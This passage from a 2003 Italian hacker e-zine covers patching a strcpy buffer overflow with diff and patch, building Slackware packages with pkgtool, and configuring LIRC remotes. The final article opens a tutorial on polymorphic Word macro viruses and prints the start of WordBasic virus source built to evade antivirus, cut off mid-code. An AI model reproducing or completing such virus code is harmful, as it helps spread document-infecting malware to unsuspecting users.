| in segmentation fault xchè la funzione strcpy copia la stringa |
| contenente tutte quei caratteri "c" che sono più dei 3 contenibili |
| dalla nostra variabile buf. |
| Prima cosa da fare per creare la patch, è rimediare al bug all'interno |
| del codice: |
| |
| ---- Codice Bug Risolto ----- |
| |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| |
| --- End Of buffok.c ----- |
| |
| bash-2.05a$ gcc -o buff buffok.c |
| bash-2.05a$ ./buff |
| bash-2.05a$ |
| |
| Come possiamo notare, il problema del buffer overflow è stato corretto |
| grazie a una piccola modifica, ovvero invece di strcpy, abbiamo |
| usato strncpy che ci dà la possibilità di copiare solo i primi 2 char |
| nell'area di memoria di destinazione. |
| Adesso che abbiamo corretto il bug, creeremo la nostra patch senza |
| l'aiuto di alcun tool. |
| Una volta capito il meccanismo potremmo anche automatizzare il tutto. |
| Prima di tutto facciamo un ls -l del file buff.c per vedere data |
| e ora dell'ultima modifica del sorgente. |
| Dopo di che annotiamoci data e ora attuale. |
| Apriamo il nostro editor testuale preferito e creiamo un file di |
| nome buffer.patch . |
| A questo punto inizializziamo la patch indicando il file da |
| patchare con relativi orari: |
| |
| Index: buff.c |
| =================================================================== |
| --- buff.c 2003/02/25 17:17:38 |
| +++ buff.c 2003/02/25 17:18:38 |
| |
| Contando dall'alto verso il basso del sorgente buff.c , notiamo che |
| l'istruzione da sostituire sta nella riga numero 4 del file di testo, |
| quindi specifichiamo la posizione: |
| |
| @@ -4 +4 @@ |
| |
| Per ultima cosa non ci resta che specificare l'istruzione vecchia da |
| togliere (con il meno) e quella nuova che corregerà l'errore |
| (con il più). |
| |
| -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| +strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| |
| Abbiamo messo anche: |
| |
| return 0; |
| } |
| |
| dopo le stringhe da sostituire come ulteriore punto di riferimento. |
| Adesso la patch è finita, salvate le modifiche e chiudeve il file. |
| Ricapitoliamo il tutto: |
| |
| --- Patch finita --- |
| |
| Index: buff.c |
| =================================================================== |
| --- buff.c 2003/02/25 17:17:38 |
| +++ buff.c 2003/02/25 17:18:38 |
| |
| @@ -4 +4 @@ |
| -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| +strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| |
| --- Fine Patch --- |
| |
| Adesso nella nostra dir di lavoro dobbiamo avere i file: |
| |
| 1) buff.c |
| 2) buff.patch |
| |
| Usiamo il comando patch: |
| |
| bash-2.05a$ patch -p0 <buff.patch |
| patching file buff.c |
| bash-2.05a$ gcc -o buff1 buff.c |
| bash-2.05a$ ./buff1 |
| bash-2.05a$ |
| |
| Il codice è stato patchato, e infatti il bug non si presenta più. |
| Controlliamo meglio: |
| |
| bash-2.05a$ cat buff.c |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| bash-2.05a$ |
| |
| Yes..modifiche effettivamente attuate ;) |
| Adesso che abbiamo capito come creare le patch,automatizziamo il tutto: |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd Creazione_automatica_patch |
| bash# cat creazione_automatica_patch.txt |
| |
| Precedentemente abbiamo creato il sorgente buffok.c , non solo |
| per correggere il bug, ma anche xchp adesso ci resterà utile. |
| Mi raccomando, ricopiate di nuovo il sorgente buff.c altrimenti |
| rischiate di usare quello precedentemente patchato. |
| Per automatizzare il codice utilizzeremo un tool di nome "diff". |
| Diff è un programma che serve a confrontare 2 testi SIMILI, quindi |
| NON uguali, e su un terzo file scrive le righe differenti. |
| Esempio: |
| |
| bash-2.05a$ diff buff.c buffok.c > risultato.txt |
| bash-2.05a$ cat risultato.txt |
| 4c4 |
| < strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| --- |
| > strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| bash-2.05a$ |
| |
| In effetti i 2 file sono simili, ma hanno quelle righe differenti. |
| Penso sia chiaro adesso. |
| Come al solito darei uno sguardo al man(man diff): |
| |
| NAME |
| diff - find differences between two files |
| |
| SYNOPSIS |
| diff [options] from-file to-file |
| |
| Ma questo grazioso tool, fornisce la possibilità di creare |
| automaticamente una patch confrontando i 2 testi, nel nostro caso |
| i due codici sorgenti. |
| Come? |
| Con una semplice sintassi: |
| |
| bash-2.05a$ diff -uNr buff.c buffok.c > buff.patch |
| bash-2.05a$ cat buff.patch |
| --- buff.c 2003-02-28 22:21:11.000000000 +0100 |
| +++ buffok.c 2003-02-28 16:32:28.000000000 +0100 |
| @@ -4 +4 @@ |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| -strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| +strncpy |
| (buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| bash-2.05a$ |
| |
| Come possiamo notare la patch è stata sfornata alla perfezione, con la |
| differenza che ha incluso l'intero codice. |
| Proviamola: |
| |
| bash-2.05a$ patch -p0 <buff.patch |
| patching file buff.c |
| bash-2.05a$ cat buff.c |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strncpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc",2); |
| return 0; |
| } |
| bash-2.05a$ |
| |
| E in effetti tutto torna :) |
| Vi riporto i significati delle flag che abbiamo usato con diff: |
| |
| -u Use the unified output format. |
| |
| -N |
| --new-file |
| In directory comparison, if a file is found |
| in only one directory, treat it as present but |
| empty in the oth
e directory. |
| |
| -r When comparing directories, recursively compare any |
| subdirectories found. |
| |
| |
| Direi che con questo è tutto. |
| Ho scritto questo testo dopo averne letto uno sempre a riguardo dello |
| stesso argomento, ma abbastanza sintetico, quindi ho deciso di |
| approfondire il tutto e renderlo comprensibile per la maggior parte |
| dei lettori(almno spero). |
| Per correttezza cito autore e titolo: |
| |
| +----------------------------------------+ |
| | Autore: [Evil] | |
| | Titolo: Patching for phun | |
| | Mail: evil@mojodo.it | |
| | Http://www.mojodo.it | |
| +----------------------------------------+ |
| |
| E' proprio tutto per oggi, un saluto dal vostro SPYRO |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| bash# cd /Ringraziamenti_e_saluti |
| bash# cat ringraziamenti_e_saluti.txt |
| |
| |
| Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn, |
| BsTHaCk,Anubi ,D4rkSt4r ,jex,Silent,dibbellas,^maga^, |
| Radion,Warning,Terror,Gouranga,Blender,Prodigy, |
| Hiolz[83],Memorik,Hedo, |
| MrWolf,Screen_it,zapotecz, |
| Goony,Scire,Sulex,Floppino,Grungio,Fratak, |
| McGiver,AntiS,gouranga,LizDay,satz,cancerman, |
| ULCC,Spider2k,Ice'St0rm, |
| e tutti quelli che ho dimenticato di #phreak.it(scusatemi). |
| |
| I miei amici di azzurranet, in particolare: |
| [Net_Digger],^stan^,HomePack,nix,Resinaro |
| |
| Poi saluto anche tutti quelli dei tankcommandos,della hrn,pbk, |
| Maphias0ft, gli Spippolatori,in particolare: |
| il grande Master,Chrome,Brigante,RigorMortem,Vinx2o2o,fen0x, |
| DARKMAN,risk e tutti quelli che mi vogliono bene :) |
| |
| |
| Fuck to: MMMMM un gran vaffanculo all'amicizia fra ragazzi e ragazze!! |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cat end.c |
| |
| |
| |
| #include <stdio.h> |
| |
| void main(void){ |
| |
| printf("Anche per oggi è tutto dal vostro SPYRO\n"); |
| |
| printf("Ciaoooooooooooo\n"); |
| |
| } |
| |
| |
| bash# halt |
| |
| |
| |
| ATTENDERE:ARRESTO DEL SISTEMA IN CORSO...... |
| |
| |
| |
| ORA SI PUO' SPEGNERE IL COMPUTER! |
| |
| |
| |
| ahahaha scherzo ;) |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| _________________________________ |
| | |
| E-mail: spyro2600[at]yahoo.it | |
| | |
| Url: www.spyrohack.com | |
| _________________________________| |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| PKGT00L E SLACKWARE PACKAGES [spyro] 0x0A/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Salve ragazzi, oggi tratteremo di un argomento utile di cui ho trovato |
| poco materiale in rete: |
| |
| Pkgtool e la costruzione degli appositi pacchetti |
| |
| Il perchè di questo testo? |
| Come dicevo sopra, si trova poco e nulla a riguardo e poi per chi usa |
| slackware torna molto utile usare pkgtool e creare i propi pacchetti in |
| modo da gestire meglio la propia box. |
| |
| PKGTOOL |
| |
| Pkgtool è un tool che serve a gestire i pacchetti della distribuzione |
| slackware. |
| Con pkgtool inoltre è possibile installare e disinstallare i vari |
| programmi senza alcun problema. |
| Questo programma può essere eseguito da console grazie alla sua |
| gradevole interfaccia creata con ncurser. |
| I pacchetti di slackware nn sono altro che binari compressati con |
| estensione .tgz |
| Questo tipo di file puo` avere i binari dei programmi gia` compilati |
| percio` pronti da usare, (lanciando semplicemente l'eseguibile) oppure |
| puo` contenere i sorgenti dei programmi, compilabili in un secondo |
| tempo. Pkgtool riconosce SOLTANTO i file pacchettati con l'estensione |
| TGZ per cui se aveste ad esempio dei programmi rpm o tar.gz questi non |
| verrebbero visualizzati nella lista. |
| Adesso analizziamo il menù che ci apparirà eseguendo il programma: |
| |
| |
| CURRENT: installa il package dalla directory di lavoro corrente. (cioe` |
| da una predefinita) |
| |
| OTHER: installa il package da una dir che decidiamo noi, ad esempio |
| copiando i tgz nella nostra homedir, dando come |
| path /home/spyro. |
| |
| FLOPPY: installa i tgz che trovano in un floppy. In genere se li trova |
| da solo,se cosi non fosse specifichiamo /dev/fd0. |
| |
| REMOVE: lista tutti i pacchetti TGZ installati nel sistema e ci chiede |
| quali vogliamo eliminare. Equivale a rpm -e pacchetto.rpm. |
| |
| VIEW: Mostra tutti i files che costituiscono il programma che stiamo |
| per installare. Molto comodo per vedere cosa ci manca. |
| |
| Pkgtool comprende altri comandi simili, di cui alcuni vedremo come |
| usarli in seguito, tipo: |
| |
| 1)installpkg |
| 2)removepkg |
| 3)upgradepkg |
| 4)makepkg |
| 5)explodepkg |
| |
| |
| 1)Installpkg gestisce l'installazione dei pacchetti Slackware. Perche' |
| l'installazione avvenga correttamente, occorre che i file siano stati |
| memorizzati con l'informazione delle directory a partire da quella |
| principale, la radice, perche' `installpkg' installa proprio a |
| partire dalla directoryradice. |
| |
| 2)Remopkg gestisce la disinstallazione dei pacchetti applicativi |
| installati secondo lo standarddella distribuzione Slackware. |
| Se viene utilizzata l'opzione `-warn', l'operazione viene soltanto |
| simulata. |
| |
| 3)Upgradepkg, aggiorna un pacchetto, disinstallando prima il pacchetto |
| vecchio e inserendo dopo quello nuovo.Se il nome del pacchetto e` lo |
| stesso, non richiede l'indicazione del nome nuovo. |
| |
| 4)Makepkg gestisce la creazione di archivi `.tgz' (tar+gzip) secondo lo |
| standard dei pacchettiapplicativi della distribuzione Slackware. |
| |
| 5)Explodepkg gestisce l'estrazione di archivi tar+gzip (`.tar.gz' o |
| `.tgz') nella directory corrente. |
| |
| SLACKWARE'S PACKET |
| |
| Per creare un paccketto per slackware abbiambo bisogno: |
| |
| 1) Sorgenti del programma che vogliamo rendere pacchetto per slack |
| |
| 2) Usare tool: makepkg |
| |
| 3) Usare tool: installpkg |
| |
| |
| L'esempio che terrò adesso si baserà sul programma ncftp. |
| Un piccolo client FTP, niente di eccezzionale. |
| Andate sul sito: |
| |
| www.freshmeat.net |
| |
| e cercate ncftp, altrimenti potete trovarlo al seguente url: |
| |
| http://www.ncftp.com/download/ |
| |
| Mi baserò sulla versione 3.1.4, ultima rilasciata al momento della |
| stesura di questo testo. |
| Il file dovrebbe avere le dimensioni di circa 480Kb . |
| Adesso che abbiamo tutto il materiale cominciamo: |
| |
| Prima di tutto creiamo un dir temporanea di lavoro, questo xchè |
| compileremo il programma da impacchettare al suo interno. |
| |
| Ad esempio: mkdir /tmp/ncftp |
| |
| (Quasi mi scordavo....creare pacchetti, disinstallarli, installarli, |
| richiede permessi di root) |
| |
| Con questo comando abbiamo creato la nostra dir di lavoro. |
| Adesso scompattiamo i sorgenti di ncftp compressi: |
| |
| tar xvfz ncftp-3.1.4-src.tar.gz |
| |
| e poi: |
| |
| cd ncftp-3.1.4/ |
| |
| Adesso, cosa da fare sempre prima di avviare l'installazione di un |
| programma, leggiamo il readme per eventuali avvertenze o dipendenze. |
| Dopo lanciamo lo script di configure, con lopzione --help . |
| Questo per gestire la configurazione di esso: |
| |
| ./configure --help |
| |
| |
| Usage: configure [options] [host] |
| Options: [defaults in brackets after descriptions] |
| Configuration: |
| --cache-file=FILE cache test results in FILE |
| --help print this message |
| --no-create do not create output files |
| --quiet, --silent do not print `checking...' messages |
| --version print the version of autoconf that created |
| configure |
| Directory and file names: |
| --prefix=PREFIX install architecture-independent files in |
| PREFIX |
| [/usr/local] |
| --exec-prefix=EPREFIX install architecture-dependent files in |
| EPREFIX |
| [same as prefix] |
| --bindir=DIR user executables in DIR [EPREFIX/bin] |
| --sbindir=DIR system admin executables in DIR [EPREFIX/sbin] |
| --libexecdir=DIR program executables in DIR [EPREFIX/libexec] |
| --datadir=DIR read-only architecture-independent data in DIR |
| [PREFIX/share] |
| --sysconfdir=DIR read-only single-machine data in DIR |
| [PREFIX/etc] |
| --sharedstatedir=DIR modifiable architecture-independent data in |
| DIR [PREFIX/com] |
| --localstatedir=DIR modifiable single-machine data in DIR |
| [PREFIX/var] |
| --libdir=DIR object code libraries in DIR [EPREFIX/lib] |
| --includedir=DIR C header files in DIR [PREFIX/include] |
| --oldincludedir=DIR C header files for non-gcc in DIR |
| [/usr/include] |
| --infodir=DIR info documentation in DIR [PREFIX/info] |
| --mandir=DIR man documentation in DIR [PREFIX/man] |
| --srcdir=DIR find the sources in DIR [configure dir or ..] |
| --program-prefix=PREFIX prepend PREFIX to installed program names |
| --program-suffix=SUFFIX append SUFFIX to installed program names |
| --program-transform-name=PROGRAM |
| run sed PROGRAM on installed program names |
| Host type: |
| --build=BUILD configure for building on BUILD [BUILD=HOST] |
| --host=HOST configure for HOST [guessed] |
| --target=TARGET configure for TARGET [TARGET=HOST] |
| Features and packages: |
| --disable-FEATURE do not include FEATURE (same as |
| --enable-FEATURE=no) |
| --enable-FEATURE[=ARG] include FEATURE [ARG=yes] |
| --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] |
| --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) |
| --x-includes=DIR X include files are in DIR |
| --x-libraries=DIR X library files are in DIR |
| --enable and --with options recognized: |
| --disable-ccdv disable use of ccdv program in Makefiles |
| --without-curses do not try to find and use the curses library |
| --enable-debug enable debugging symbols |
| --without-ncurses do not try to find and use the ncurses library |
| --with-socks5 try to find and use the SOCKS5 library |
| |
| |
| Come possiamo notare ci sono tante opzioni che possiamo dare al |
| configure, ma a noi interessain particolare quella: |
| |
| --prefix=PREFIX install architecture-independent files in |
| PREFIX |
| |
| Vi state chiedendo a cosa serve? |
| L'opzione "--prefix" è molto comune nei programmi distribuiti |
| da sorgente e serve a specificare un PATH di installazione |
| personalizzato. |
| Nel caso stiate per compilare un programma che è solo una versione |
| nuova di un programma già in vostro possesso, vi consiglio di |
| controllare in quale path si trova quello installato, in modo tale |
| usarlo come argomento per "--prefix" e rendere più facile l'eventuale |
| aggiornamento successivamente. |
| |
| Tutto chiaro? |
| Spero di si. |
| Diamo il comando: |
| |
| ./configure --prefix=/tmp/ncftp |
| |
| Quando avrà finito la configurazione, e avrà creato il Makefile, diamo |
| il solito comando di compilazione: |
| |
| make && make install |
| |
| (se state compilando da user nn privilegiato, date make e poi da root |
| make install) |
| |
| Finita la compilazione, troveremo i nostri bei binari nella |
| dir /tmp/ncftp |
| Entriamo, e prepariamoci all'archiviazione e compressione in .tgz |
| |
| cd /tmp/ncftp |
| |
| e poi: |
| |
| makepkg ncftp-3.1.4.tgz |
| |
| A questo punto makepkg provvederà a creare il pacchetto per slackware. |
| Installerà anche dei link simbolici se necessario, ma per |
| sicurezza,prima di dare il comando makepkg, controlliamo se tutti i |
| file e licenze varie siano contenuti nella nostra directory temporanea |
| di lavoro. |
| Nel caso vogliamo mettere dei comandi aggiuntivi, tipo un ulteriore |
| compilazione o una configurazione di etc, possiamo farlo creando |
| all'interno della dir di lavoro lo script di nome: |
| |
| doinst.sh |
| |
| Il pacchetto prima di essere archiviato, vi farà una domanda del tipo: |
| |
| |
| Slackware package maker, version 2.0. |
| |
| Searching for symbolic links: |
| |
| No symbolic links were found, so we won't make an installation script. |
| You can make your own later in ./install/doinst.sh and rebuild the |
| package if you like. |
| |
| This next step is optional - you can set the directories in your package |
| to some sane permissions. If any of the directories in your package have |
| special permissions, then DO NOT reset them here! |
| |
| Would you like to reset all directory permissions to 755 (drwxr-xr-x) |
| and directory ownerships to root.root ([y]es, [n]o)? |
| |
| |
| Adesso, a seconda delle vostre esigenze, risponderete yes o no per |
| settare i permessi adeguati. |
| |
| Appena fatta la nostra scelta verrà finalizzato il pacchetto: |
| |
| |
| Creating tar file ncftp-3.1.4.tar... |
| |
| ./ |
| bin/ |
| bin/ncftp |
| bin/ncftpget |
| bin/ncftpput |
| bin/ncftpls |
| bin/ncftpbatch |
| bin/ncftpspooler |
| bin/ncftpbookmarks |
| etc/ |
| man/ |
| man/man1/ |
| man/man1/ncftp.1 |
| man/man1/ncftpget.1 |
| man/man1/ncftpput.1 |
| man/man1/ncftpbatch.1 |
| man/man1/ncftpspooler.1 |
| man/man1/ncftpls.1 |
| |
| |
| Gzipping ncftp-3.1.4.tgz... |
| |
| Renaming ncftp-3.1.4.tar.gz to ncftp-3.1.4.tgz... |
| |
| Package creation complete. |
| |
| |
| Benissimo, abbiamo creato il nostro primo pacchetto per slackware!! |
| Portiamo fuori dalla dir. temporanea il nostro pacchetto: |
| |
| mv ncftp-3.1.4.tgz ../ncftp-3.1.4.tgz |
| |
| Ora il nostro pacchetto è fuori dalla dir temporanea. |
| Cosa ci resta da fare? |
| Testarlo no? vediamo se funziona. |
| Per installare un pacchetto slackware, si deve usare il comando: |
| |
| installpkg |
| |
| quindi: |
| |
| installpkg ncftp-3.1.4.tgz |
| |
| l'output, scanso modifiche, sarà: |
| |
| Installing package ncftp-3.1.4... |
| PACKAGE DESCRIPTION: |
| |
| e ci tornerà il prompt dei comandi della shell. |
| Se l'output sarà simile a quello che ho riportato di sopra, beh..il |
| nostro paccheto è stato installato senza problemi. |
| |
| Diamo il comando: ncftp |
| |
| e dovrebbe partire il client ftp: |
| |
| spyro@darkstar:~$ ncftp |
| NcFTP 3.1.4 (Jul 02, 2002) by Mike Gleason (ncftp@ncftp.com). |
| ncftp> |
| |
| Funziona ;))) |
| |
| Ora che funziona,se nn ve ne fate di nulla potete rimuoverlo eseguento |
| pkgtool e scegliendo nel menu: remove |
| Altrimenti potete dare il comando: |
| |
| removepkg ncftp-3.1.4.tgz |
| |
| Removing package /var/log/packages/ncftp-3.1.4... |
| Removing files: |
| --> Deleting /bin/ncftp |
| --> Deleting /bin/ncftpbatch |
| --> Deleting /bin/ncftpbookmarks |
| --> Deleting /bin/ncftpget |
| --> Deleting /bin/ncftpls |
| --> Deleting /bin/ncftpput |
| --> Deleting /bin/ncftpspooler |
| --> Deleting /man/man1/ncftp.1 |
| --> Deleting /man/man1/ncftpbatch.1 |
| --> Deleting /man/man1/ncftpget.1 |
| --> Deleting /man/man1/ncftpls.1 |
| --> Deleting /man/man1/ncftpput.1 |
| --> Deleting /man/man1/ncftpspooler.1 |
| --> Deleting empty directory /man/man1/ |
| --> Deleting empty directory /man/ |
| |
| Puff...scomparso. |
| |
| |
| RIEPILOGO E COMANDI: |
| |
| Slackware version: 8.1 |
| |
| Pkgtool version: Quelli che installa di default slack 8.1 |
| |
| Ncftp: 3.1.4 |
| |
| |
| |
| Anche per oggi è finita... |
| |
| Un saluto dal vostro SPYRO |
| |
| _________________________________ |
| | |
| E-mail: spyro2600[at]yahoo.it | |
| | |
| Url: www.spyrohack.com | |
| _________________________________| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| LiRC [BrNoCrIsT] 0x0B/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| ........... LIRC ...............by ....... BrNoCrIsT ................. |
| |
| |
| Siete pigri? Volete sfruttare al meglio quello che avete? ......LIRC fa |
| per voi. (sembra uno spot pubblicitario :)) ) |
| |
| Se avete un dispositivo ad infrarossi collegato al vostro PC e usate |
| linux siete a cavallo :)) possiamo utilizzarlo tranquillamente senza |
| problemi. |
| |
| A differenza di altri SO come Windows (tanto di rispetto), Linux tratta |
| questo dispositivo come una periferica di input un po particolare. |
| Quindi possiamo utilizzarlo per operazioni piu' disparate: eseguire |
| comandi sul sistema, controllare il mouse o addirittura scrivere |
| documenti di testo. |
| Tutto cio' e' dovuta dall'architettura client/server con la quale e' |
| stata costruita l'applicazione, si tratta di caricare un programma |
| centralizzato (server) ceh si occupa di interpetrare i segnali |
| elettrici provenienti dal dispositvo remoto, e di tradurli in eventi |
| che verranno poi comunicati ai vari programmi (client). Tutto cio' va |
| sotto il nome di LIRC (Linux Infrared Remote Control). Dalla sua |
| nascita numerosi programmi hanno potuto arricchirsi di questo supporto: |
| XMMS, XawTV, GnomeRadio, ecc. |
| |
| Installarlo e' molto semplice, basta evitare di passare per sistemi di |
| pacchettizzazione come rpm: la configurazione e l'installazione dai |
| sorgenti risulta piu' semplice ed efficace, andiamo in |
| http://www.lirc.org scarichiamo il file e decomprimiamolo e seguite le |
| mie istruzioni: |
| |
| tar xjf lirc-0.6.5.tar.bz2 && cd lirc-0.6.5 && ./setup.sh |
| |
| Adesso ci troveremo di fronta ad un installazione grafica. |
| Impostiamo con attenzione i valori nella prima sezione in base al nostro |
| controller remoto: conseriamo invece, nella sezione seguente le |
| impostazioni predefinite. Al terzo passo realizzera' al configurazione |
| scelta, al termine possiamo compilare il tutto con il solito: |
| |
| make && make install .... chiaramente da root. |
| |
| L'ultimo passo da compiere trovare il file di configurazione con cui |
| LIRC riconosce i tasti del nostro telecomando. Per vedere se il nostro |
| modello di telecomando e' compatibile basta vedere nella dir " |
| remotes/ " e controllare se c'e' il modello del nostro telecomando e |
| copiare il file di configurazione adatto in " /etc/ " . Giunto a qui il |
| nostro sistema e' pronto a gestire il telecomando, ogni volta che |
| vorremo utilizzarlo dovremo avviare LIRC con il seguente comando da |
| root : |
| |
| lircd -p 666 -d /dev/lirc |
| |
| Adesso l'ultimo passo, forse il piu' difficile, istruire il demone |
| lircd su come rispondere alla pressione dei diversi tasti alle varie |
| applicazioni. Non e' stato fatto uno standard proprio perche' esistono |
| molti tipi di telecomando con tasti differenti. |
| |
| Abbiamo visto che LIRC si comporta come un vero server, una volta |
| avviato si mette in attesa di connessioni locali o remote. |
| vediamo come funziona... All'avvio, lircd apre i file di periferica |
| contenuti in " /dev/lirc " corrispondenti al telecomando, e grazie |
| a " /etc/lircd.conf " traduce gli identificaivi elettrici dei tasti |
| ricevuti da " /dev/lirc ". |
| Come abbiamo visto installare LIRC non e' sufficiente per vedere |
| funzionare il telecomando con tutte le applicazioni. |
| Per ognuna infatti, e' necessaria una configurazione che indichi al |
| server su cosa e come tenerla aggiornata. |
| Facciamo un po di pratica prendiamo un telecomando Pinnacle PCTV (e' |
| l'unico che ho trovato nel negozio di mio cugino :) ) |
| Supponiamo che ci sara' sufficiente sostituire i nomi dei tasti del |
| dispositivo in base al contenuto del file " /etc/lircd.conf ". Per |
| quanto riguarda il software provero' a fornire il supporto remoto a |
| MPlayer e XMMS. |
| Iniziamo.... Prendiamo il nostri editor preferito (VI r0x) :) e creiamo |
| il file ".lircrc" nella notra home. Leggendo qualche documentazione |
| vedo che MPlayer si identifica verso lircd con il nome "mplayer_lirc" e |
| che le operazioni che permette al controllo remoto sono: PAUSE, QUIT, |
| RWND, FWD, INCVOL e DECVOL. |
| Una volta scelti i tasti ad associare a queste operazioni mettiamo mano |
| all'editor. Inseriamo: |
| |
| begin |
| remote = * |
| prog = mplayer_lirc |
| button = power |
| config = QUIT |
| repeat = 0 |
| end |
| |
| La prima ed ultima riga fungono da delimitatori di sezione. |
| Vediamo gli altri campi: |
| |
| - remote : specifica a quale controller remoto si riferisce la sezione, |
| nel caso in cui sul sistema ne siano presenti piu' di |
| uno. "*" estende la validita' della sezione a tutti i |
| controller presenti. |
| |
| - prog : E' il campo piu' importante, in quanto segnala al demone LIRC |
| il destinatario del messaggio da spedire. Vediamo in questo |
| caso che MPlayer non si identifica con il suo nome ma |
| con "mplayer_lirc". |
| |
| - button: Specifica il tasto alla pressione del quale avvisa il |
| programma. |
| |
| - config: E' il campo ceh specifica a LIRC quale messaggio spedire |
| all'applicazione prog alla pressione del tasto botton. |
| |
| - repeat: indica a LIRC come si deve comportare se il tasto viene tenuto |
| premuto il valore 0 indica che deve ignorare gli impulsi |
| successivi al primo, i valori n positivi indicano di ripetere |
| il comando dopo n secondi, questo e' molto comodo per la |
| funzione "alza_volume" e "abbassa_volume". |
| |
| |
| ------Sezione MPlayer--------- |
| | | |
| | begin | |
| | remote = * | |
| | prog = mplayer_lirc | |
| | button = power | |
| | config = QUIT | |
| | repeat = 0 | |
| | end | |
| | | |
| | begin | |
| | remote = * | |
| | prog = mplayer_lirc | |
| | button = Vol+FF | |
| | config = FWD | |
| | end | |
| | | |
| | begin | |
| | remote = * | |
| | prog = mplayer_lirc | |
| | button = Vol-Rew | |
| | config = RWND | |
| | end | |
| ------------------------------ |
| |
| |
| Per quanto riguarda XMMS il discorso e' un po piu' complesso (ma ce la |
| faremo lo stesso :)) ) abbiamo bisogno del plug-in (reperibile in |
| www.lirc.org) con il nome di "lirc-xmms", lo si installa con al solita |
| procedura, il plug-in serve per mettere a disposizioni innumerevoli |
| azioni: STOP, PLAY, PAUSE, NETX, PREV, SHUFFLE, REPEAT, FWD[sec], RWD |
| [sec], VOL_UP[%], VOL_DOWN[%], BAL_LEFT[%], BAL_RIGHT[%], BAL_CENTER, |
| PLAYLIST_CLEAR, ZERO, ONE, TWO, THREE,..., QUIT. |
| In questa lista abbiamo visto dei parametri strani come "[sec]" |
| e "[%]", adesso ve li spiego :) Il parametro [sec] definisce il tempo |
| in secondi da accelerare ad ogni messaggio di "avanti" o "indietro", |
| mentre il campo [%] definisce la procedura di aumento o diminuizione |
| del volume. Adesso ci e' sufficiente sapere che per XMMS si identifica |
| presso LIRC con "xmms". |
| |
| |
| |
| |
| |
| ---------Sezione XMMS------------- |
| | | |
| | begin | |
| | remote = PinnacleSySPCTVRemote | |
| | prog = xmms | |
| | button = Chan+Play | |
| | config = PLAY | |
| | config = PAUSE | |
| | end | |
| | | |
| | begin | |
| | remote = PinnacleSySPCTVRemote | |
| | prog = xmms | |
| | repeat = 1 | |
| | button = Vol+FF | |
| | config = FWD 3 | |
| | end | |
| | | |
| | begin | |
| | remote = PinnacleSySPCTVRemote | |
| | prog = xmms | |
| | button = quit | |
| | config = QUIT | |
| | end | |
| ---------------------------------- |
| |
| |
| ________________________________T_N_X________________________________ |
| |
| |
| Un grazie specialmente a Syscall che mi ha dato l'idea di questo |
| tutorial, poi grazie {D4nG3r}, Resinaro, e4m, Virgeles, Nik, [Elektro] |
| (che mi ha incitato a fare il tutorial), Pit, Parantido e a #mojodo |
| #coding #XaLug e #campaniahack.......tnx amici |
| |
| |
| -------FuK------- |
| |
| Mephisto, Bossi, Berlusconi, e il professore di matematica discreta |
| all'uni.........fukkatevi :) |
| |
| |
| BrNoCrIsT |
| |
| brnocrist@libero.it |
| |
| http://coding.cjb.net |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| PLUS #3 [Mastro] 0x0C/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Ancora word, ancora macro, ancora approfondimenti. |
| |
| --- POLIFORMICI --- |
| |
| Per i pochi che non lo sapessero il poliformismo consiste nel cambiare |
| parti di codice così che un eventuale antivirus non dia problemi |
| (spiegazione molto di merda..) ;) |
| Iniziamo dal nome della macro, questo è di The Nightmare Joker: |
| |
| ----------------------------------------- |
| Sub MAIN |
| On Error Goto Done |
| |
| A$ = FileName$() |
| If A$ = "" Then Goto Finish |
| |
| If VInstalled = 0 Then |
| Run1 |
| Run2 |
| FileSaveAll 1, 1 |
| Else |
| Goto Done |
| End If |
| |
| Done: |
| A$ = FileName$() |
| If A$ = "" Then |
| Goto Finish |
| Else |
| Insert " " |
| End If |
| |
| Finish: |
| MsgBox "polymorph", - 8 'Una MessageBox non |
| guasta mai |
| End Sub |
| |
| Sub Run1 |
| X$ = Fun$(F$, G$, H$, J$) 'Chiama la function Fun |
| Y$ = Fun$(F$, G$, H$, J$) 'Chiama la function Fun |
| |
| Z$ = X$ + Y$ 'Unisce i due valori |
| |
| R1$ = GetDocumentVar$("VirNameDoc") 'Salva la nuova macro con il nuovo |
| nome |
| CO$ = FileName$() + ":" + R1$ |
